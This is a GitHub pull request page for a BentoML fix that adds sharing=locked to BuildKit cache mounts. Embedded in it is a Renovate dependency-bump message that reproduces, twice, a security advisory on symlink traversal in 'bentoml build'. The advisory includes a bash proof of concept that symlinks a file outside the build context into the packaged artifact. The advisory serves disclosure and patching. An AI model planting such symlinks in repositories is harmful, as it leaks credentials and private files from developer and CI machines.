Skip to content

fix: add sharing=locked to BuildKit cache mounts for multi-arch builds#5597

Merged
frostming merged 2 commits into
bentoml:mainfrom
lawrence3699:fix/multiarch-apt-cache-lock
Apr 16, 2026
Merged

fix: add sharing=locked to BuildKit cache mounts for multi-arch builds#5597
frostming merged 2 commits into
bentoml:mainfrom
lawrence3699:fix/multiarch-apt-cache-lock

Conversation

@lawrence3699
Copy link
Copy Markdown
Contributor

@lawrence3699 lawrence3699 commented Apr 12, 2026

Fixes #5229

Problem

When using bentoml containerize with docker buildx for multi-arch builds (--platform=linux/amd64,linux/arm64), concurrent platform builds contend on package manager lock files inside shared BuildKit cache mounts, causing apt-get (and potentially yum/apk) to fail:

E: Could not get lock /var/lib/apt/lists/lock. It is held by process 0
E: Unable to lock directory /var/lib/apt/lists/

Cause

The mount_cache Jinja2 macro generates --mount=type=cache,target=... without specifying a sharing mode. BuildKit defaults to sharing=shared, which allows concurrent access to the mount from multiple parallel builders. Package managers use advisory locks that don't work across BuildKit's namespaced filesystem views, so parallel platform builds contend on the same lock files.

Fix

Add sharing=locked to the mount_cache macro. This causes BuildKit to serialize access to cache mounts at the daemon level, so concurrent platform builds wait for each other instead of failing. This is the documented BuildKit mechanism for this exact scenario.

  • For single-arch builds, sharing=locked has zero impact (no contention).
  • sharing=private was not chosen because it would create separate caches per platform, defeating the purpose of caching.
  • The change applies to all cache mounts (apt, yum, apk, conda, pip/uv) since all are susceptible to the same contention.

Validation

  • Existing test test_generate_containerfile_quotes_system_packages passes.
  • Added regression test test_generate_containerfile_cache_mounts_use_sharing_locked verifying all cache mounts include sharing=locked.

Copilot AI review requested due to automatic review settings April 12, 2026 09:23
@lawrence3699 lawrence3699 requested a review from a team as a code owner April 12, 2026 09:23
@lawrence3699 lawrence3699 requested review from parano and removed request for a team April 12, 2026 09:23
Copilot AI reviewed Apr 12, 2026
View reviewed changes
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds sharing=locked to all BuildKit cache mounts emitted by BentoML’s Dockerfile templates to prevent package manager lock contention during parallel multi-arch buildx builds (fixes #5229).

Changes:

  • Updated the mount_cache Jinja2 macro to emit --mount=type=cache,sharing=locked,....
  • Added a unit regression test ensuring generated Dockerfiles include sharing=locked for all cache mounts.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated no comments.

File Description
src/bentoml/_internal/container/frontend/dockerfile/templates/_macros.j2 Changes the cache-mount macro to default cache mounts to sharing=locked to avoid multi-platform concurrency issues.
tests/unit/_internal/container/test_generate.py Adds coverage to ensure generated Dockerfiles include sharing=locked on all cache mounts.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

@frostming frostming merged commit f488962 into bentoml:main Apr 16, 2026
2 of 3 checks passed
renovate Bot added a commit to yxtay/agentic-recommenders that referenced this pull request May 7, 2026
@renovate
chore(deps): update dependency bentoml to v1.4.39 [security] (#32)
b84f6a8 
This PR contains the following updates:

| Package | Type | Update | Change | OpenSSF |
|---|---|---|---|---|
| [bentoml](https://redirect.github.com/bentoml/bentoml) |
project.dependencies | patch | `1.4.38` → `1.4.39` | [![OpenSSF
Scorecard](https://api.securityscorecards.dev/projects/github.com/bentoml/bentoml/badge)](https://securityscorecards.dev/viewer/?uri=github.com/bentoml/bentoml)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/12) for more information.

---

### BentoML has Information Disclosure in `bentoml build` via symlink
traversal in the build context
[CVE-2026-40610](https://nvd.nist.gov/vuln/detail/CVE-2026-40610) /
[GHSA-mcfx-4vc6-qgxv](https://redirect.github.com/advisories/GHSA-mcfx-4vc6-qgxv)

<details>
<summary>More information</summary>

#### Details
##### Summary
BentoML's `bentoml build` packaging workflow follows attacker-controlled
symlinks inside the build context and copies the referenced file
contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied
build context, the attacker can place a symlink such as `loot.txt ->
/tmp/outside-marker.txt` or a link to a more sensitive local file. When
`bentoml build` runs, BentoML dereferences the symlink and packages the
target file contents into the Bento. The leaked file can then propagate
further through export, push, or containerization workflows.

##### Details
The vulnerable code walks files under the build context and copies each
matched entry into the Bento source directory:

```python
for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)
```

There is no validation that the resolved path of `src_file` remains
inside `ctx_path` before `shutil.copy` dereferences the source path. As
a result, a repository-controlled symlink can cross the trust boundary
from `attacker-controlled repository content` to `developer/CI host
filesystem` during the build process.

This is a build-time path traversal / symlink traversal issue in the
packaging feature, not a runtime API issue. The resulting Bento may
later be exported, pushed to remote storage, or converted into a
container image, which amplifies the leakage impact.

##### PoC
The issue was verified in WSL against BentoML 1.4.38. The following
script reproduces the vulnerability by using a harmless marker file
outside the build directory.

```bash
mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@&#8203;bentoml.service
class Demo:
    @&#8203;bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;
```

- The script creates `/tmp/outside-marker.txt` outside the build context
as a stand-in for a sensitive local file.
- It creates a minimal BentoML service and explicitly includes
`loot.txt` in `bentofile.yaml`.
- It creates `loot.txt` as a symlink to the external marker file.
<img width="1531" height="648" alt="image"
src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82"
/>

- It runs `bentoml build`, exports the generated Bento, unzips it, and
reads the packaged `src/loot.txt`.
- Successful exploitation is confirmed when the packaged file contains
`BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external
file contents rather than keeping only the symlink.
<img width="1315" height="121" alt="image"
src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e"
/>

<img width="1697" height="760" alt="image"
src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203"
/>

##### Impact
An attacker who can cause a developer, release engineer, or CI system to
run `bentoml build` on an attacker-controlled repository can exfiltrate
local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens,
environment files, or other sensitive local configuration. Because Bento
artifacts are commonly exported, uploaded, stored, or containerized
after build, the leaked file contents can spread beyond the original
build machine.

#### Severity
- CVSS Score: 5.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv](https://redirect.github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv)
-
[https://github.com/advisories/GHSA-mcfx-4vc6-qgxv](https://redirect.github.com/advisories/GHSA-mcfx-4vc6-qgxv)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-mcfx-4vc6-qgxv)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### BentoML has Information Disclosure in `bentoml build` via symlink
traversal in the build context
[CVE-2026-40610](https://nvd.nist.gov/vuln/detail/CVE-2026-40610) /
[GHSA-mcfx-4vc6-qgxv](https://redirect.github.com/advisories/GHSA-mcfx-4vc6-qgxv)

<details>
<summary>More information</summary>

#### Details
##### Summary
BentoML's `bentoml build` packaging workflow follows attacker-controlled
symlinks inside the build context and copies the referenced file
contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied
build context, the attacker can place a symlink such as `loot.txt ->
/tmp/outside-marker.txt` or a link to a more sensitive local file. When
`bentoml build` runs, BentoML dereferences the symlink and packages the
target file contents into the Bento. The leaked file can then propagate
further through export, push, or containerization workflows.

##### Details
The vulnerable code walks files under the build context and copies each
matched entry into the Bento source directory:

```python
for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)
```

There is no validation that the resolved path of `src_file` remains
inside `ctx_path` before `shutil.copy` dereferences the source path. As
a result, a repository-controlled symlink can cross the trust boundary
from `attacker-controlled repository content` to `developer/CI host
filesystem` during the build process.

This is a build-time path traversal / symlink traversal issue in the
packaging feature, not a runtime API issue. The resulting Bento may
later be exported, pushed to remote storage, or converted into a
container image, which amplifies the leakage impact.

##### PoC
The issue was verified in WSL against BentoML 1.4.38. The following
script reproduces the vulnerability by using a harmless marker file
outside the build directory.

```bash
mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@&#8203;bentoml.service
class Demo:
    @&#8203;bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;
```

- The script creates `/tmp/outside-marker.txt` outside the build context
as a stand-in for a sensitive local file.
- It creates a minimal BentoML service and explicitly includes
`loot.txt` in `bentofile.yaml`.
- It creates `loot.txt` as a symlink to the external marker file.
<img width="1531" height="648" alt="image"
src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82"
/>

- It runs `bentoml build`, exports the generated Bento, unzips it, and
reads the packaged `src/loot.txt`.
- Successful exploitation is confirmed when the packaged file contains
`BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external
file contents rather than keeping only the symlink.
<img width="1315" height="121" alt="image"
src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e"
/>

<img width="1697" height="760" alt="image"
src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203"
/>

##### Impact
An attacker who can cause a developer, release engineer, or CI system to
run `bentoml build` on an attacker-controlled repository can exfiltrate
local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens,
environment files, or other sensitive local configuration. Because Bento
artifacts are commonly exported, uploaded, stored, or containerized
after build, the leaked file contents can spread beyond the original
build machine.

#### Severity
- CVSS Score: 5.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv](https://redirect.github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv)
-
[https://github.com/bentoml/BentoML](https://redirect.github.com/bentoml/BentoML)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-mcfx-4vc6-qgxv) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>bentoml/bentoml (bentoml)</summary>

###
[`v1.4.39`](https://redirect.github.com/bentoml/BentoML/releases/tag/v1.4.39)

[Compare
Source](https://redirect.github.com/bentoml/bentoml/compare/v1.4.38...v1.4.39)

##### What's Changed

- ci: pre-commit autoupdate \[skip ci] by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[bentoml/BentoML#5593](https://redirect.github.com/bentoml/BentoML/pull/5593)
- fix: prevent following symlinks when copying files in BentoStore by
[@&#8203;frostming](https://redirect.github.com/frostming) in
[bentoml/BentoML#5598](https://redirect.github.com/bentoml/BentoML/pull/5598)
- fix: add sharing=locked to BuildKit cache mounts for multi-arch builds
by [@&#8203;lawrence3699](https://redirect.github.com/lawrence3699) in
[bentoml/BentoML#5597](https://redirect.github.com/bentoml/BentoML/pull/5597)
- fix: enhance Dockerfile generation by normalizing base image lines and
adding tests by
[@&#8203;frostming](https://redirect.github.com/frostming) in
[bentoml/BentoML#5603](https://redirect.github.com/bentoml/BentoML/pull/5603)
- fix: defer prometheus\_client import in bentoml.metrics to fix
histogram collection in multiprocess mode by
[@&#8203;ramkrishs](https://redirect.github.com/ramkrishs) in
[bentoml/BentoML#5602](https://redirect.github.com/bentoml/BentoML/pull/5602)
- ci: pre-commit autoupdate \[skip ci] by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[bentoml/BentoML#5605](https://redirect.github.com/bentoml/BentoML/pull/5605)
- fix: handle string input in FileSchema by encoding to UTF-8 by
[@&#8203;frostming](https://redirect.github.com/frostming) in
[bentoml/BentoML#5606](https://redirect.github.com/bentoml/BentoML/pull/5606)

##### New Contributors

- [@&#8203;lawrence3699](https://redirect.github.com/lawrence3699) made
their first contribution in
[bentoml/BentoML#5597](https://redirect.github.com/bentoml/BentoML/pull/5597)
- [@&#8203;ramkrishs](https://redirect.github.com/ramkrishs) made their
first contribution in
[bentoml/BentoML#5602](https://redirect.github.com/bentoml/BentoML/pull/5602)

**Full Changelog**:
<bentoml/BentoML@v1.4.38...v1.4.39>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - ""
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/yxtay/agentic-recommenders).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNTkuMiIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJzZWN1cml0eSJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

Copilot code review Copilot Copilot left review comments

@parano parano Awaiting requested review from parano parano is a code owner automatically assigned from bentoml/bentoml-reviewers

+1 more reviewer

@frostming frostming frostming approved these changes

Reviewers whose approvals may not affect merge requirements

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

bug: multi-arch parallel builds fails to obtain apt lock

3 participants

@lawrence3699 @frostming